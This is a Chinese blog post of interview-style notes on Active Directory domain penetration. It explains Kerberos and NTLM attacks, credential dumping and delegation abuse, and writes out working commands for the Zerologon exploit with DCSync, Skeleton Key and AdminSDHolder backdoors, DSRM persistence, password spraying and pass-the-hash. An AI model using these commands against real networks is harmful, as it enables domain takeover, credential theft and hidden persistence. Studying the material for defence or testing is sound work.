域渗透的一些事

小问题

Posted by lyk on August 18, 2024

渗透思路

常规内网其实差不多,信息搜集,判断漏洞,权限提升,横向移动【PTH,票据传递等】,最终访问域控制器,然后全部上线。

信息搜集

常规指令

  • ipconfig /all 查网络信息
  • Systeminfo 查补丁信息
  • Tasklist 查杀软信息对比常见杀软进程清单
  • wmic wmic service list brief 查本机服务 (wmic_info)wmic startup get command,caption 查启动项信息
  • Net user 查用户,net user xxx /domain查域权限,net localgroup administrators 查本地管理员
  • schtasks /query /fo LIST /v 查计划任务
  • 查当前权限 whomai /all
  • netstat 查看网络连接

怎么确定域控

  • net view /domain
  • set log
  • nslookup -type=SRV _ldap._tcp.corp # 通过 srv 记录
  • nltest /dclist:corp # 使用nltest
  • DsQuery Server -domain corp # dsquery
  • netdom query pdc # netdom

BloodHound

奇安信攻防社区-域渗透工具SharpHound原理分析

利用BloodHound分析域中的攻击路径 - 先知社区

AD 域中的 LDAP 是通过 TCP/IP协议 进行通信的,使用 389 端口进行非加密连接和 636 端口进行加密连接。

LDAP 可以用来查询和修改 AD 域中的用户、计算机、组、权限等对象的属性和信息。

例如,可以使用 LDAP 查询所有属于某个部门的用户,或者修改某个用户的密码。

而 BloodHound 则是基于 LDAP 做的信息搜集,支持 Group, LocalGroup, GPOLocalGroup, Session, LoggedOn, ObjectProps, ACL, ComputerOnly, Trusts, Default, RDP, DCOM, DCOnly 等信息的收集,默认导出所有的信息。

具体查询语句的细节在 https://github.com/BloodHoundAD/SharpHound/blob/2.X/src/Runtime/ObjectProcessors.cs

SharpHound.exe -c all # 执行搜集命令

mimikatz

Mimikatz 抓密码的主要原理是利用Windows的内置功能和安全漏洞,特别是在处理内存中存储的凭证数据时。以下是 Mimikatz 用来抓取密码的一些主要方法:

  1. LSASS进程内存抓取:Mimikatz 最著名的功能之一是能够从本地安全授权子系统服务(LSASS)进程的内存中提取明文密码、哈希和票证。当用户登录时,Windows会将用户的凭证存储在 LSASS 进程内存中,以便进行身份验证。Mimikatz 通过使用 Windows 提供的内置函数(如 OpenProcessReadProcessMemory 等)来读取 LSASS 进程内存,并从中提取凭证信息。
  2. 凭证缓存抓取:在 Windows 中,凭证缓存(Credential Manager Cache)用于存储最近使用的凭证,以便快速重新进行身份验证。Mimikatz 可以读取凭证缓存数据库并提取存储的凭据。
  3. DPAPI利用:Windows 数据保护API(DPAPI)是一种加密服务,用于保护用户私密数据,如密码和证书。Mimikatz 可以利用 DPAPI 的弱点来解密存储的凭据。
  4. Pass the Hash/PtH:Mimikatz 可以使用提取的密码哈希来进行“传递哈希”攻击,这种攻击允许攻击者使用哈希值而不是明文密码来进行身份验证。
  5. Pass the Ticket/PtT:Mimikatz 还可以执行“传递票证”攻击,使用提取的 Kerberos 票证在不需要明文密码的情况下进行身份验证。

ADFind

-sc dclist # 查询域控
-schema -s base objectversion # VERSION
-f "objectcategory=computer" dn # 查询域内所有机器
-f "(&(objectcategory=person)(objectclass=user))" dn # 查询域内所有用户

-sc computers_active # 在线计算机
-users name # 域用户
-default -f "(&(|(&(objectCategory=person)(objectClass=user))(objectCategory=group))(adminCount=1))" -dn # 域管查询
-b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn # 非约束委派主机
-b "DC=test,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName # 非约束委派用户

用户枚举

原理:kerberos 协议 as-req 认证阶段,用户存在,as-rep 包显示preauth_required,禁用显示 account_disabled,不存在显示 principal_unknown。

Kerbrute,go 语言编写。

username --dc ip -d domain_name user.txt # 用户名字典

MSF 模块

use auxiliary/gather/kerberos_enumusers
set domain domain_name
set rhost ip
set user_file user.txt 

密码喷洒

获得存在可用的用户名后。

Kerbrute

passwordspray --dc ip -d domain_name user.txt pass.txt

提权

CVE-2020-1472 Zerologon Mimikatz 提权

Nslookup -type=SRV _ldap._tcp 命令获取域控制服务器的机器账号,一般为机器名加上 $。

lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$         # 探测

攻击,利用置零修改域控密码为空,机器用户是不可以登录系统,但有 Dcsync 权限。

lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$ /exploit

Dcsync 攻击,密码为空。

lsadump::dcsync /dc:win-3o8g1o8vv2e.rd.com /authuser:win-3o8g1o8vv2e$ /authdomain:rd.com /authpassword:"" /domain:rd.com /authntlm /user:krbtgt

psexec 原理分析和实现

  • 连接 SMB 共享【Windows 的 api,WNetAddConnection 】
  • 上传一个恶意服务文件到共享目录【CIFS 将网络文件映射为本地文件,然后用 Windows 的 api 操作本地文件,拷贝到远程】
  • 打开 SCM(服务控制管理器) 创建服务【是操作系统的一个组成部分,它的作用是与服务进行通信】
  • 启动服务
    1. 服务创建输入输出管道【PsExec 创建了三个命名管道 stdin、stdout、stderr 用于攻击者和远程主机之间通信】
    2. 等待攻击者连接管道
    3. 从管道读取攻击者的命令
    4. 输出执行结果到管道【命名管道可以通过模拟客户端来窃取 token 从而将 administrator 提升至 system,msf 中的 getsystem 原理就是这个】
    5. 跳转到 3
  • 删除服务和文件

内网KDC服务器开放在哪个端口,针对kerbores的攻击有哪些?

88,464

  1. 用户名爆破
  2. 密码喷洒和密码爆破
  3. Kerberoasting
  4. ASRepRoasting
  5. 黄金票据和白银票据
  6. MS14-068
  7. 非约束委派、约束委派、基于资源的约束委派
  8. 票据传递(ptt/ptk/ptc)
  9. mimikatz加密降级攻击(万能钥匙)
  10. 使用恶意的kerberos证书做权限维持

黄金票据和白银票据的区别?

域渗透之黄金票据与白银票据 - FreeBuf网络安全行业门户

获取的权限不同 金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限,用于身份认证,存储在内存,默认有效期为10小时 银票:伪造的 TGS,只能访问指定的服务,如CIFS, 认证流程不同 金票:同 KDC 交互,但不同 AS 交互 银票:不同 KDC 交互,直接访问 Server 加密方式不同 金票:由 krbtgt NTLM Hash 加密 银票:由服务账号 NTLM Hash 加密

简单说一下票据传递

内网渗透入门之票据传递

黄金票据

其原理是,AS应答Client时,会返回如下的信息:

  • TGT(在KDC中使用krbtgt的NTML HASH加密而成的),其中包含 Client/TGS SessionKey 等信息
  • 使用 KDC 生成的 Client 密钥加密 KDC 生成的 Client/TGS SessionKey

另外 TGS 对用户的认证过程中,只要能够成功解密 TGT 就会认为用户是可信的,而这就意味着,一旦我们获取到 krbtgt 中的 hash 值时(拿下了域控),就能够伪造 TGT 票据和 Client/TGS SessionKey。

只要有了高权限的 TGT,那么就可以发送给 TGS 换取任意服务的 ST。可以说有了金票就有了域内的最高权限。

条件:

  • 域名称
  • 域的 SID(Object Security ID)值
  • 域的 KRBTGT 账户密码 HASH(可以是 aes256_hmac 或者是 ntml hash)
  • 伪造用户名,可以是任意的

白银票据

是通过伪造ST获得权限,但因为所访问的对象在 TGT 中通过 SID 指定了,所以通过白银票据只能访问特定的服务。其原理是,在 TGS 应答 Client,会发送以下信息:

  • ST(在TGS使用Server的Hash加密而成的),其中包含 Client/Server SessionKey 等信息
  • 使用 Client/TGS SessionKey 加密的 Client/Server SessionKey

而这就意味着,只要我们获得了对应 Server 的 Hash,则可以伪造出自己的 ST,从而访问特定服务(之所以是特定,是因为 pac 只能 KDC 制作和查看,我们无法伪造 pac,所以只能访问不验证 pac 的服务,如 cifs)。

条件:

  • /domain:当前域名称
  • /sid:SID值
  • /target:目标主机
  • /service:服务名称,如cifs
  • /rc4:目标主机的HASH值
  • /user:任意的用户名
  • /ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存

增强版黄金票据

普通黄金票据不能跨域,只能在当前域使用,不能跨域,包括子域对父域的跨域

在生成golden票据的时候,/sid指定的是子域的sid,mimikatz拿到sid后会在尾部拼接RID号,Enterprise Admins用户组只存在于根域域控中,其他域的最高管理员的组为Domain Admins, 所以构造的SID在整个域林中都是不存在的,也就是无法跨域和访问其他域的资源。

通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。

如何查看域管进程

tasklist /v

了解过域后门吗

常见域后门技术总结与分析利用 - FreeBuf网络安全行业门户

创建 Skeleton Key 域后门

Skeleton Key 即 “万能钥匙”。通过在域控上安装 Skeleton Key,所有域用户账户都可以使用一个相同的密码进行认证,同时原有密码仍然有效。

该技术通过注入 lsass.exe 进程实现,并且创建的 Skeleton Key 只是保存在内存中,域控只要重启,Skeleton Key 就会失效。

需要域管权限。

mimikatz.exe “privilege::debug” “misc::skeleton” exit # 密码为 mimikatz

创建 DSRM 域后门

在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码,相关命令如下:

ntdsutil # 进入 ntdsutil
set dsrm password # 进入设置 DSRM 账户密码设置模式
reset password on server null # 在当前域控上恢复 DSRM 密码
<password>  # 输入新密码 123456Lhz!
<password>  # 再次输入新密码
q # 退出 DSRM 密码设置模式
q # 退出 ntdsutil

SID History 的利用

域渗透-SID History权限维持及域信任攻击 - gakkkkkkiii

当域内的对象(如用户、组)进行跨域移动时,会保留其原始的SID,并在目标域中创建一个新的SID。同时,原始SID将添加到目标域对象的SID历史属性中。这是为了确保跨域移动的对象能够继续访问先前授予其权限的资源。攻击者可以利用SID History属性来进行横向渗透和提权。

前提:

  1. 域间存在信任关系。
  2. 开启 SID History 信任。

攻击原理如下:

  1. 获取目标域对象的SID History: 攻击者首先需要获取目标域中感兴趣的用户或组的SID History属性。这可能涉及到信息收集和对目标域探测。
  2. 在攻击域中伪造SID 接下来,攻击者会在自己控制的域中创建一个与目标域中用户或组的SID History相匹配的伪造SID。
  3. 构造访问令牌 攻击者使用伪造的SID构造一个访问令牌(access token)。访问令牌是用于表示身份和权限的数据结构,在Windows中用于控制对资源的访问。
  4. 尝试访问目标资源: 使用伪造的访问令牌,攻击者尝试访问目标域中的资源。如果目标域没有适当的安全措施来防止SID History攻击,那么攻击者可能会成功获取资源的访问权限。

SID History攻击的防御措施包括:

  • 限制SID History的使用: 最好限制SID History的使用,仅在必要时才允许使用它,以减少横向渗透的风险。
  • 监控事件日志: 监控Windows事件日志,特别是关于安全主体的事件,可以帮助及早发现潜在的SID History攻击。
  • 强化域边界: 在网络边界和域边界实施安全策略,限制域之间的通信,可以帮助减少横向渗透的可能性。
  • 定期审查权限: 定期审查和清理域中的权限,删除不再需要的SID History,以及细化权限设置,可以提高安全性。

AdminSDHolder

AdminSDHolder 是一个特殊的 Active Directory 容器对象,位于 Domain NC 的 System 容器下。

在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60 分钟为一个工作周期。

篡改 AdminSDHolder 容器的 ACL 配置。当系统调用 SDProp 进程执行相关工作时,被篡改的 ACL 配置将同步到受保护的 ACL 中,以此建立一个隐蔽的域后门。

执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Alice 拥有对 AdminSDHolder 的 “完全控制” 权限。

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

等待 60 分钟后,Alice 用户将获得对系统中的特权用户和组完全控制权限。

此时,Alice 用户可成功向 Domain Admins 等关键用户组内添加成员。

HOOK PasswordChangeNotify

当用户重置密码时,Windows 会先检查新密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 函数在系统中同步密码。

当调用 PasswordChangeNotify 时,用户名和密码将以明文的形式传入。hacker 可以通过 Hook 技术,劫持 PasswordChangeNotify 函数的执行流程,从而获取传入的明文密码。

约束委派攻击

是将域用户的权限委派给服务账号,委派之后,服务账号就可以以域用户的身份去做域用户能够做的事

能够被委派的用户只能是服务账号或者机器账号

  • 非约束委派(Unconstrained Delegation, UD)
    • A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派
    • 在实战中,只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。
  • 约束委派(Constrained Delegation, CD)
    • 由于非约束委派的不安全性,微软在 windows2003 中发布了约束委派的功能
    • S4u2self 允许服务代表任意用户请求访问自身服务的ST服务票据
    • S4U2proxy 允许服务在已取得 ST 服务票据下代表任意用户获取另一个服务的服务票据
    • 约束委派限制了 S4U2proxy 协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
  • 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
    • Windows Server 2012中引入了基于资源的约束委派
    • ”基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员”,这就导致了正常只要是域用户都有权限进行委派操作。
    • 如何理解”基于资源”?在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中
    • 基于资源的约束性委派可以跨域和林
    • 过程
      • 利用many域用户创建一个机器账户(每个域用户默认可以创建10个)
      • 然后修改WEB的msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid
      • 然后利用机器账户申请票据 进行提权
      • 也可以用于打造变种黄金票据
        • 在获得域控的权限后 对krbtgt用户设置委派属性 来打造黄金票据 进行权限维持
    • 条件
      • 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(如已经控制的主机是WEB 则具有修改WEB主机的msDS-AllowedToActOnBehalfOfOtherIdentity的权限账户
      • 可以创建机器账户的域用户(或已知机器账户)

Kerberos 认证流程

  1. 用户向 KDC 发起 AS_REQ, 请求凭据是用户 hash 加密的时间戳,KDC 使用用户 hash 进行解密,如果结果正确返回用 krbtgt hash 加密的 TGT 票据,TGT 里面包含 PAC,PAC 包含用户的 sid 和用户所在的组。
  2. 用户凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求,KDC 使用 krbtgt hash 进行解密,如果结果正确,就返回用服务 hash 加密的 TGS 票据,这一步不管用户有没有访问服务的权限,只要 TGT 正确,就返回 TGS 票据,这也是 kerberoating(([2])) 能利用的原因,任何一个用户只要 hash 正确,可以请求域内任何一个服务的 TGS 票据。
  3. 用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就拿着 PAC 去 KDC 那边询问用户有没有访问权限,域控解密 PAC。获取用户的 sid,以及所在的组,再判断用户是否有访问服务的权限,有访问权限(有些服务并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户 hash,可以制作 TGS,也不能制作 PAC,PAC 当然也验证不成功)就允许用户访问。

MS14-068 原理

MS14-068原理浅 析

微软为了解决权限问题引入了 PAC 做权限控制。

  • include-PAC

通过对include-PAC标志字段的设置,可以得到一个由KDC密钥加密的合法ticket(不含有PAC)。

  • PAC尾部校验码的限制上

通过了解PAC的结构,可以通过修改sid控制权限,因此可以构造高权限的PAC;PAC的尾部签名在Kerberos原本的流程是用server端密码和KDC的密码进行签名,但微软在实现上,却允许任意签名算法,所以客户端可以指定任意签名算法,KDC 就会使用客户端指定的算法进行签名验证。

  • 构造的PAC不在原ticket中

原本PAC是在ticket中,且被KDC密钥进行加密处理,用户是无法进行解密的,但KDC在实现上是允许构造PAC在其他位置的ticket的,并能够正确解析放在其它地方的 PAC 信息。

以PyKek构造的TGS-REQ为例,KDC首先会将TGT(不含PAC)进行解密得到SessionKey-as,其次会从Authenticator中取出来subkey,然后将PAC信息解密,同时会利用客户端设定的签名算法验证签名,在验证成功后,重新采用Server_key和KDC_key生成一个带Key的签名,将其添加到PAC(构造的高权限PAC)信息的尾部,进而重新组合成了一个新的TGT返回给用户(这里其实就是TGS-REP返回了一个TGT信息,而不是ST)。

ASRepRoasting

域用户配置了不需要求 Kerberos 预身份认证【通常情况下,该选项默认不会开启】。

此时向域控制器的 88 端口发送 AS-REQ 请求,对收到的 AS-REP 内容重新组合,能够拼接成 ”Kerberos 5 AS-REP etype 23”(18200) 的格式,接下来可以使用 hashcat 对其破解,最终获得该用户的明文口令。

可以使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户

Kerberoasting

SPN 是服务器上所运行服务的唯一标识,每个使用 Kerberos 的服务都需要一个 SPN。

Kerberos 使用所请求服务的 NTLM 哈希来加密给定服务主体名称 (SPN) 的 KRB_TGS 票证。

当域用户向域控制器 KDC 发送针对已注册 SPN 的任何服务的 TGS 票证请求时,KDC 会生成 KRB_TGS。

攻击者可以离线使用例如 hashcat 来暴力破解服务帐户的密码,因为该票证已使用服务帐户的 NTLM 哈希进行了加密。

  • 发现SPN服务
  • 使用工具向 SPN 请求 TGS 票据
  • 转储 .kirbi 或 ccache 或服务 HASH 的 TGS 票据
  • 将 .kirbi 或 ccache 文件转换为可破解格式
  • 使用hashcat等工具配合字典进行暴力破解

查询域成员和域成员机器对应关系的方法

  • userWorkstations 保存了该域用户能登录到哪台机器。且这个字段对于域内任何用户都是可读的。
adfind -sc u:micle userWorkstations
  • 组策略
Invoke-EnumerateLocalAdmin
  • 查询域内用户正在登陆的主机
    • 利用NetSessionEnum(win32 API)来寻找登陆的网络会话,一般用来查域控。【任意用户都可以】
    • 利用NetWkstaUserEnum(win32 API)列出当前登录到该机器的所有用户。【本地机器管理员】
    • 查询远程机器注册表项里 HKEY_USERS,来查看谁正在登陆该机器。【机器开启远程注册表连接】

如何查询域之间的信任关系

域信任关系利用与SID 过滤绕过

信任关系存放在林根域的全局编录中。

#查询域信任关系
nltest /domain_trusts
#查询当前域与test.local域的信任关系
Get-ADTrust -Identity test.local

#获取根域信息,可查看有哪些域
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
#查看当前域信息
powershell [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
#查看当前域信任关系
powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
#查看当前域全局编录地址(根域域控地址)
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

用户加入林外部域时,会出现在 CN=ForeignSecurityPrincipals,DC=domain,DC=com 组中。只要枚举 ForeignSecurityPrincipals 组,就可得知哪些用户具有这个外部森林的访问权限。

域控开放的常见端口有哪些

Microsoft-DS traffic : 445/TCP 445/UDP

Kerberos : 88/TCP 88/UDP

LDAP ping : 389/UDP

DNS : 53/TCP 53/UDP

NetBIOS的相关服务 : 137/TCP 137/UDP 138/UDP 139/UDP 开放这些连续的端口,以便于通过防火墙来使用NetBIOS服务,例如支持旧客户端来登录、浏览网上邻居等。

定位域管理员,原理

域管进程

  • 通过 net group “domain admins” /domain 列出域管理员组成员
  • 通过 tasklist /v 列出本地进程的所有者
  • 进行交叉处理,找到域管理进程
net group "domain admins" /domain // 查询域管理员用户组
net group "enterprise admins" /domain // 企业管理组
net localgroup administrators /domain // 登录本机的域管理员
net localgroup administrators // 本机管理员[通常含有域用户]

psloggedon.exe

psloggedon.exe //dc,通过检查注册表的HKEY USERS项的key值来查询谁登录过。

PVEFindADUser.exe(要管理员权限)

netview.exe(小部分要管理员权限)

利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。调用Api太多不是个好事。

PowerView 脚本

Invoke-UserHunter:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。

在 win10 或者 winserver2012 中,如何使用mimikatz

开启注册表,强制锁屏,注销用户,

query session ?ID logoff ?ID

windows 内网中 ntlm 协议认证过程

https://github.com/xidaner/Freed0m/blob/master/%E7%AC%94%E8%AE%B0/%E5%AE%89%E5%85%A8/OS%E6%B8%97%E9%80%8F/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-NTLM%E5%8D%8F%E8%AE%AE/%E5%86%85%E7%BD%91%E7%9F%A5%E8%AF%86NTLM%E5%8D%8F%E8%AE%AE1-3.md

  1. 用户输入账号密码登陆,客户端缓存 ntlm-hash,当用户访问服务,客户端会通过 ntlm ssp 生成 NTLM_NEGOTIATE【称为 TYPE 1 消息】,发往服务端。
  2. 服务端解析内容,选择自己支持的服务内容,通过 ntlm ssp 生成 NTLM_CHALLENGE【称为 TYPE 2 消息】,其中包含了一个 16 位随机数,称为 Challenge,并由服务端保存。
  3. 客户解析消息中的 Challenge,用缓存的 ntlm-hash 加密为 Net NTLM-Hash,封装到 NTLM_AUTH【称为 TYPE 3 消息】,发往服务端。
  4. 服务端解析请求,取出加密后的 Net NTLM-Hash,向域控发起验证。内容包含【用户名,原 Challenge 和 Net NTLM-Hash】
  5. 域控根据用户名获取密码哈希值 NTLM-Hash,用 NTLM-Hash 对原始 Challenge 进行加密得到 Net NTLM-Hash。如果一致,则验证通过,否则失败。DC将验证结果发给服务器。
  6. 服务器根据DC返回的结果,对客户端进行回复。

NTLM relay 的攻击场景,限制【未完

如果获得了 NTLM-Hash,那么可以直接进行 PTH 攻击,但不能用来 Relay;

如果获得了 Net NTLM-Hash,那么可以对其进行爆力破解得到明文,也可以利用 Net NTLM-Hash 进行中继攻击。

smbrelayx

攻击者伪造一个恶意的 SMB 服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。

假设拿到了某台域机器的权限,但是机器上并没有域账户,应该如何进行域渗透

如果有本地管理员的哈希或密码,可以尝试使用它在其他计算机上进行本地登录。

crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

wmic 如何构造有回显的命令执行

执行完写文件再读。

impacket 工具包的 wmiexec 直接实现了回显。

wmicmd 是将执行后的结果插入了注册表,然后在读取注册表中的值来完成不依赖 445 的回显。

哪些安全日志ID,分别对应哪些攻防场景,如果该windows主机为域控,又应该查看哪些事件日志

image-20240819160959251

如何快速发现域主机

nbtscan 扫描,通过 NetBIOS 主机名来获取。

哪个补丁导致了 mimikatz 无法利用,如何绕过

原理是从lsass进程抓取内存

Windows Server 2012 之后的版本默认关闭Wdigest,无法从内存中获取明文密码。

2012之前的版本安装了KB2871997,同样无法获取明文密码

修改注册表开启 Wdigest。

#

DNS 泛域名解析,实际漏洞挖掘中有遇到过吗

简单了解过一些。

所有子域名都指向一个 IP 地址,判断方式即 DNS 查询一个几个随机子域名,看 IP 是否相同。

可能会导致 DNS 缓存投毒。